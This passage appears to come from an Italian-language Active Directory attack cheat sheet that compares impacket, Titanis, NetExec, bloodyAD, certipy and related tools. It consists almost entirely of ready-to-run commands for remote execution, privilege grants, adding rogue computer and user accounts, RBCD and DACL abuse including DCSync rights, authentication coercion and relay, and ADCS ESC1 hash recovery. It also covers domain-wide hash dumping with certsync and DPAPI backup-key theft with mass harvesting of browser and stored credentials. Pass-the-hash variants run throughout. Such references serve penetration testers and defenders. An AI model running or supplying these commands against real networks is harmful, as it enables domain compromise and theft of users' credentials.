---
### Invocazione del metodo WMI```bash
# impacket — exec-based workaround only
wmiexec.py DOMAIN/jdoe:[email protected] "calc.exe"
# Titanis — invoke any WMI method directly
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
Win32_Process Create "calc.exe"
reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags"
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion
reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags
Reg get 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SYSTEM/CurrentControlSet/Control/Lsa LsaCfgFlags
reg query -keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion DOMAIN/jdoe:[email protected]
reg query -keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags DOMAIN/jdoe:[email protected]
reg query -keyName HKLM\SOFTWARE -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
reg.py DOMAIN/jdoe:[email protected] add
-keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd "TestData"
Reg set 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKCU/Software/Test sz:TestValue=TestData
reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData DOMAIN/jdoe:[email protected]
reg delete -keyName HKCU\Software\Test -v TestValue DOMAIN/jdoe:[email protected]
reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[↑ Torna all'indice](#index)
---
### Descrittore di sicurezza della chiave di registro```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regetkeysecurity HKLM\\SAM"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regsetsecurity HKLM\\SAM <SDDL>"
# Titanis
Reg getsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SAM
Reg setsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
HKLM/SAM "O:BAG:SYD:(A;;KA;;;SY)"
services.py DOMAIN/jdoe:[email protected] list
netexec smb 192.168.1.10 -u jdoe -p Password123 --services
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"
Scm query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
services.py DOMAIN/jdoe:[email protected] start -name Spooler services.py DOMAIN/jdoe:[email protected] stop -name Spooler
Scm start 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler
Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe"
Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
services DOMAIN/jdoe:[email protected] list
services -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] list
services DOMAIN/jdoe:[email protected] status -name Spooler
services DOMAIN/jdoe:[email protected] start -name Spooler services DOMAIN/jdoe:[email protected] stop -name Spooler
[↑ Torna all'indice](#index)
---
### Gestione dei privilegi LSA```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
-c "lsaaddprivs S-1-5-21-...-1001 SeDebugPrivilege"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
-c "lsadelprivs S-1-5-21-...-1001 SeDebugPrivilege"
# bloodyAD — no userRight subcommand; use rpcclient or Titanis for LSA privilege assignment
# Titanis
# ⚠️ Three requirements:
# 1. -PreferSmb required when targeting Domain Controllers (not needed for member servers)
# 2. -BySid required; -ByName is broken (LsaLookupNames always returns STATUS_OBJECT_NAME_NOT_FOUND)
# 3. Target account must have an existing LSA policy entry — run createaccount first if not
#
# Get SID first (impacket): lookupsid.py 'DOMAIN/admin:Pass@dc-ip' | grep <username>
#
# Step 1 — create LSA account entry if target has no existing explicit rights
Lsa createaccount 192.168.1.10 S-1-5-21-...-1001 \
-UserName jdoe -UserDomain DOMAIN -Password Password123 -PreferSmb
# Step 2 — add/remove privilege
Lsa addpriv 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
-BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa rmpriv 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
-BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa setsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
-BySid S-1-5-21-...-1001 0x20 -PreferSmb
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "lsaenumsid" rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumprivs"
enum4linux-ng -P 192.168.1.10 -u jdoe -p Password123
Lsa enumaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 # requires admin Lsa enumprivaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -Privilege SeDebugPrivilege Lsa getprivs 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getrights 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe
[↑ Torna all'indice](#index)
---
## 6. Active Directory / LDAP
### Enumerare utenti / computer AD```bash
# impacket
GetADUsers.py -all -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
GetADComputers.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --users
netexec ldap 192.168.1.1 -u jdoe -p Password123 --computers
# bloodyAD
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=user)" --attr sAMAccountName,userPrincipalName,userAccountControl
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=computer)" --attr sAMAccountName,dNSHostName,operatingSystem
# msldap — password
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo
# msldap — pass-the-hash
msldap "ldap+ntlm-nt://DOMAIN\jdoe:[email protected]"
# msldap — Kerberos ccache
msldap "ldap+kerberos+ccache://DOMAIN\jdoe:@dc01.domain.local/?dc=192.168.1.1&ccache=jdoe.ccache"
# msldap — via SOCKS5
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080"
# Titanis — use Ldap query (not Ldap search) with -FollowReferrals on Linux
# Linux notes:
# - Use Ldap query, not Ldap search — Ldap search always probes RootDSE first, hits a referral,
# and returns no records regardless of -SearchBase or -FollowReferrals
# - -FollowReferrals required — without it, referral targets are printed as INFO and results are empty
# - -OutputFields only accepts one field at a time on Linux; comma lists show header but no rows
# Workaround: -OutputFields '*' -OutputStyle List and grep/parse
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=user)" -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=computer)" -FollowReferrals
# gopacket — enumerate AD users (requires -port 389)
GetADUsers -all -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — enumerate AD computers (requires -port 389)
GetADComputers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetADUsers -all -dc-ip 192.168.1.1 -port 389 \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
netexec ldap 192.168.1.1 -u jdoe -p Password123 --bloodhound --collection All
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search
--filter "(objectClass=trustedDomain)" --attr name,trustDirection,trustType,flatName
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath,versionNumber -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=trustedDomain)"
-OutputFields name,trustDirection,trustType,trustAttributes,flatName -FollowReferrals
Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1
-Password Password123 "(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath -FollowReferrals
ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Policies,CN=System,DC=domain,DC=local" "(objectClass=groupPolicyContainer)"
displayName gPCFileSysPath
[↑ Back to Index](#index)
---
### Trova le Configurazioni di Delega```bash
# impacket
findDelegation.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --trusted-for-delegation
# bloodyAD — unconstrained delegation
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
--filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attr sAMAccountName,userAccountControl
# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> unconstrained
# Titanis — unconstrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
"(userAccountControl|=TrustedForDelegation)" -OutputFields * -FollowReferrals
# Titanis — constrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
"(msDS-AllowedToDelegateTo=*)" -OutputFields * -FollowReferrals
# Titanis — S4U2self only
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
"(userAccountControl|=TrustedForS4U2self)" -OutputFields * -FollowReferrals
# gopacket — find all delegation types (requires -port 389)
findDelegation -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
findDelegation -dc-ip 192.168.1.1 -port 389 \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
addcomputer.py -method LDAPS -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add computer EVILPC$ Password123!
netexec smb 192.168.1.1 -u jdoe -p Password123 -M add-computer -o NAME=EVILPC$ PASSWORD=Password123
Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'
Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
-NewPassword Password123! -Ssl
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'
addcomputer -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]
addcomputer -method LDAP -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
[↑ Torna all'indice](#index)
---
### Aggiungi un Account Utente```bash
# impacket — net.py does NOT support user -add; use bloodyAD or netexec instead
# (net.py only supports user -list, -enable, -disable; creation via SAMR is not implemented)
# bloodyAD — password
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add user newuser Password123!
# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
add user newuser Password123!
# net rpc (Samba)
net rpc user add newuser Password123! -U DOMAIN/jdoe%Password123 -S 192.168.1.10
# Titanis
Ldap adduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 newuser Password123!
rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 set object TARGET$
msDS-AllowedToActOnBehalfOfOtherIdentity -v ''
rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
rbcd -delegate-to TARGET$ -action read
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
[↑ Torna all'indice](#index)
---
### Abuso di DACL
> **Stato di Titanis:** Nessuna capacità di scrittura ACE. `bloodyAD` è l'opzione non-impacket preferita. `dacledit.py` / `owneredit.py` sono i fallback di impacket.```bash
# bloodyAD — grant GenericAll
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
add genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe
# bloodyAD — grant DCSync rights
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass add dcsync jdoe
# bloodyAD — change owner
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set owner targetuser jdoe
# bloodyAD — cleanup
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
remove genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe
# dacledit.py — grant DCSync
dacledit.py -action write -rights DCSync \
-principal jdoe -target-dn "DC=domain,DC=local" \
DOMAIN/admin:[email protected]
# dacledit.py — grant GenericAll
dacledit.py -action write -rights FullControl \
-principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
DOMAIN/admin:[email protected]
# owneredit.py — change owner
owneredit.py -action write -new-owner jdoe \
-target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
DOMAIN/admin:[email protected]
# gopacket — dacledit: read DACL on an object (requires -port 389)
dacledit -action read -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
-dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant DCSync rights
dacledit -action write -rights DCSync \
-principal jdoe -target-dn "DC=domain,DC=local" \
-dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant FullControl
dacledit -action write -rights FullControl \
-principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
-dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — owneredit: change owner (requires -port 389)
owneredit -action write -new-owner jdoe \
-target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
-dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# Titanis — post-exploitation after ACE grant (force password reset)
Kerb setpw -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password jdoePass \
targetuser@DOMAIN NewPass123
net.py DOMAIN/admin:[email protected] user -enable targetuser net.py DOMAIN/admin:[email protected] user -disable targetuser
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
add uac targetuser -f DONT_REQ_PREAUTH
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
remove uac targetuser -f ACCOUNTDISABLE
Ldap moduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
targetuser userAccountControl+=4194304
net DOMAIN/admin:[email protected] user -enable targetuser net DOMAIN/admin:[email protected] user -disable targetuser
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] user -enable targetuser
[Torna all'indice](#index)
---
## 7. Coercizione dell'autenticazione
> Abbina la parte di coercizione con `ntlmrelayx` o Responder per la parte di relay. Titanis `credcoerce` copre solo MS-EFSR.```bash
# MS-EFSR — single technique
CredCoerce 192.168.1.10 \\<listener-ip>\share \
-UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile
# MS-EFSR — multiple techniques
CredCoerce 192.168.1.10 \\<listener-ip>\share \
-UserName jdoe -UserDomain DOMAIN -Password Password123 \
-Techniques Efs.OpenFile,Efs.EncryptFile,Efs.DecryptFile,\
Efs.QueryUsersOnFile,Efs.QueryRecoveryAgents,Efs.FileKeyInfo,\
Efs.DuplicateEncryptionInfoFile
# MS-RPRN (PrinterBug) — no Titanis equivalent
printerbug.py DOMAIN/jdoe:[email protected] <listener-ip>
# NetExec — coerce_plus covers all methods (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEven)
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip>
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PrinterBug
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PetitPotam
# MS-DFSNM (DFSCoerce) — no Titanis equivalent
python3 dfscoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10
# MS-FSRVP (ShadowCoerce) — no Titanis equivalent
python3 shadowcoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://192.168.1.1 --delegate-access --escalate-user jdoe
CredCoerce 192.168.1.10 \\share
-UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile
[↑ Torna all'indice](#index)
---
## 8. Certificati
> **Stato gopacket:** Nessuno strumento ADCS. Usa certipy, Titanis `Cert` o impacket per tutte le operazioni sui certificati.
### Generazione di PFX autofirmati```bash
# certipy — Golden Certificate from compromised CA key (requires -ca-pfx)
# Note: certipy forge cannot produce a self-signed cert without the CA private key;
# for Shadow Credentials use certipy shadow or impacket's pyWhisker instead
# certipy — Golden Certificate from compromised CA key
certipy forge -upn Administrator@DOMAIN -ca-pfx ca.pfx -out admin.pfx
# openssl — generic PKI (not trusted by AD for PKINIT without NTAuth enrollment)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
-subj "/CN=jdoe"
openssl pkcs12 -export -out jdoe.pfx -inkey key.pem -in cert.pem -passout pass:Password123
# Titanis — works in interactive sessions (RDP/console); may fail in non-interactive sessions
Cert selfcert -Subject CN=jdoe -PfxFileName jdoe.pfx
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -vulnerable -stdout
netexec ldap 192.168.1.1 -u jdoe -p Password123 -M adcs
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local"
"(objectClass=pKICertificateTemplate)" displayName msPKI-Certificate-Name-Flag
[↑ Torna all'indice](#index)
---
### ADCS ESC1 — Iscrivi e Recupera NT Hash```bash
# Step 1 — enumerate vulnerable templates
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout
# Step 2a — request certificate with arbitrary UPN (certipy, HTTP/RPC enrollment)
certipy req -username jdoe@DOMAIN -password Password123 \
-ca CA-NAME -template VulnerableTemplate \
-upn [email protected] \
-target ca.domain.local -out admin
# Step 2b — request certificate via SMB (aiosmb asmbcertreq — works when HTTP enrollment is firewalled)
asmbcertreq "smb+ntlm-password://DOMAIN\jdoe:[email protected]" \
-ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx
# aiosmb — pass-the-hash
asmbcertreq "smb+ntlm-nt://DOMAIN\jdoe:[email protected]" \
-ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx
# Step 3a — certipy: recover NT hash + TGT
certipy auth -pfx admin.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL
# Step 3b — minikerberos: recover NT hash only
minikerberos-getNTPKInit \
"kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt
# Step 4 — Titanis PTH with recovered hash (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
Smb2Client ls \\dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \
-NtlmHash <recovered_nt>
Reg dumpsam 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> -BackupSemantics
Tecniche che producono una copertura di credenziali equivalente a un dump NTDS ma bypassano completamente i meccanismi standard (DRSUAPI, VSS, accesso ai file NTDS). Utili quando DCSync è bloccato, VSS è monitorato o l'accesso a livello DA non è disponibile ma esistono percorsi di trust ADCS o DPAPI.
Esegue il dump degli hash NT per ogni utente di dominio senza DRSUAPI, VSS o accesso ai file NTDS. Richiede i diritti di amministratore CA (o un certificato CA esportato + chiave privata) e PKINIT funzionante. Flusso di lavoro: enumerare gli utenti da LDAP → dump del certificato/chiave CA → forgiare un certificato per ogni utente → UnPAC the hash tramite PKINIT per ciascuno. Produce output in formato secretsdump. In pratica non è più lento di DCSync.```bash
certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1
certsync -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-u Administrator -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1
export KRB5CCNAME=admin.ccache
certsync -k -no-pass -u Administrator -d DOMAIN.LOCAL
-dc-ip 192.168.1.1 -ns 192.168.1.1
certsync -ca-pfx ca.pfx -u jdoe -p Password123
-d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1
certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -timeout 2 -jitter 1 -randomize
-ldap-filter "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -outputfile domain_hashes
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt> "whoami"
Smb2Client ls \dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt>
[↑ Torna all'indice](#index)
---
### Chiave di backup del dominio DPAPI — Decifrazione di massa delle credenziali
> La chiave di backup del dominio DPAPI è un segreto a livello di dominio conservato sui DC che decifra la chiave master DPAPI di ogni utente — e quindi ogni blob protetto da DPAPI nel dominio: password di Chrome/Edge/Firefox, Gestione credenziali di Windows, certificati, chiavi Wi-Fi, account SCCM NAA, credenziali delle attività pianificate e altro ancora. Estrarla richiede privilegi DA, ma una volta ottenuta la chiave è permanentemente valida a meno che non venga ruotata esplicitamente. Produce una copertura di credenziali paragonabile a NTDS per i segreti memorizzati nei blob DPAPI ed è spesso più ricca per il movimento laterale, poiché restituisce password in chiaro anziché hash.```bash
# Step 1 — dump the domain backup key (impacket)
dpapi.py backupkeys -t DOMAIN/Administrator:[email protected] --export
# Writes domain_backup.pvk to current directory
# Step 1 — impacket pass-the-hash
dpapi.py backupkeys -t DOMAIN/[email protected] --export \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
# Step 1 — gopacket (subcommand syntax: positional target after subcommand)
dpapi backupkeys 'DOMAIN/Administrator:[email protected]' --export
# gopacket — pass-the-hash
dpapi backupkeys 'DOMAIN/[email protected]' --export \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
# Step 1 — dump the domain backup key (NetExec; fetches automatically during --dpapi)
netexec smb 192.168.1.1 -u Administrator -p Password123 --dpapi
# Step 2a — dploot: decrypt master keys for all domain users using backup key
dploot masterkeys -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.1 --pvk domain_backup.pvk -outputfile masterkeys.txt
# Step 2b — dploot: decrypt all credential manager blobs across domain
dploot credentials -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.1 --pvk domain_backup.pvk
# Step 2c — dploot: decrypt browser-stored passwords (Chrome, Edge, Firefox)
dploot browser -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.1 --pvk domain_backup.pvk
# Step 2d — dploot: full triage (masterkeys + credentials + certificates + vaults)
dploot triage -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.1 --pvk domain_backup.pvk
# Step 2e — dploot: SCCM NAA credentials and collection variables
dploot sccm -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.1 --pvk domain_backup.pvk
# Step 2f — dploot: machine (SYSTEM scope) DPAPI secrets
dploot machinetriage -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.1
# dploot — pass-the-hash
dploot triage -d DOMAIN -u Administrator \
-H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -t 192.168.1.1 --pvk domain_backup.pvk
# NetExec — DPAPI dump across subnet (fetches backup key automatically)
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi cookies
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi nosystem
# DonPAPI — comprehensive remote DPAPI harvest across subnet in one pass
# (auto-fetches backup key, decrypts masterkeys, dumps all DPAPI-protected secrets)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.0/24 --fetch-pvk
# DonPAPI — supply existing backup key (quieter; avoids re-dumping from DC)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.0/24 --pvkfile domain_backup.pvk
# DonPAPI — targeted collectors only
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.0/24 --collectors SCCM,Certificates,Wifi,CredMan
smbclient.pysecretsdump.py -use-keylistsecretsdump.pysecretsdump.py · Dsrep rep| Scenario | impacket | gopacket | Titanis | minikerberos URL | msldap URL | Metasploit | aiosmb URL |
|---|
| Password | DOMAIN/user:Pass@host | DOMAIN/user:Pass@host | -UserName user -UserDomain DOMAIN -Password Pass | kerberos+password://DOMAIN\user:Pass@kdc | ldap+ntlm-password://DOMAIN\user:Pass@dc | SMBDomain DOMAIN SMBUser user SMBPass Pass | smb+ntlm-password://DOMAIN\user:Pass@host |
| Pass-the-Hash | -hashes :NTLM | -hashes :NTLM DOMAIN/user@host | -NtlmHash <NTLM> | kerberos+ntlm-nt://DOMAIN\user:NTLM@kdc | ldap+ntlm-nt://DOMAIN\user:NTLM@dc | SMBPass aad3b435b51404eeaad3b435b51404ee:NTLM | smb+ntlm-nt://DOMAIN\user:NTLM@host |
| Chiave AES | -aesKey <hex> | -aesKey <hex> | -AesKey <hex> | kerberos+aes://DOMAIN\user:hex@kdc | ldap+kerberos+aes://.../?dc=ip | AESKEY <hex> | smb+kerberos+aes://DOMAIN\user:hex@host/?dc=ip |
| Chiave RC4 | tramite -hashes | tramite -hashes :NTLM | -NtlmHash | kerberos+rc4://DOMAIN\user:NTLM@kdc | ldap+kerberos+rc4://.../?dc=ip | NTHASH <NTLM> | smb+kerberos+rc4://DOMAIN\user:NTLM@host/?dc=ip |
| ccache | KRB5CCNAME=file.ccache | KRB5CCNAME=f.ccache -k -no-pass DOMAIN/user@host | -TicketCache file.ccache | kerberos+ccache://...?ccache=f.ccache | ldap+kerberos+ccache://.../?dc=ip&ccache=f.ccache | KrbUseCachedCredentials true | smb+kerberos+ccache://DOMAIN\user:@host/?dc=ip&ccache=f.ccache |
| Ticket kirbi | converti prima | ticketConverter file.kirbi file.ccache prima | -Ticket file.kirbi | minikerberos-kirbi2ccache prima | converti prima | auxiliary/admin/kerberos/ticket_converter | converti prima in ccache |
| PKINIT / PFX | certipy / gettgtpkinit | — | — | kerberos+pfx://...?pfx=f.pfx&pfxpass=P | ldap+kerberos+pfx://.../?dc=ip&pfx=f.pfx | — | smb+kerberos+pfx://DOMAIN\user:@host/?dc=ip&pfx=f.pfx&pfxpass=P |
| NEGOEX / PFX | — | — | — | n/a | n/a | — | smb+negoex-pfx://cert.pfx:certpass@host/ |
| SOCKS5 | proxychains prefisso | proxychains prefisso (cgo nativo; nessun workaround GOFLAGS necessario) | -Socks5 host:port | n/a | ?proxytype=socks5&proxyhost=...&proxyport=... | set Proxies socks5:127.0.0.1:1080 | ?proxyhost=127.0.0.1&proxyport=1080 |
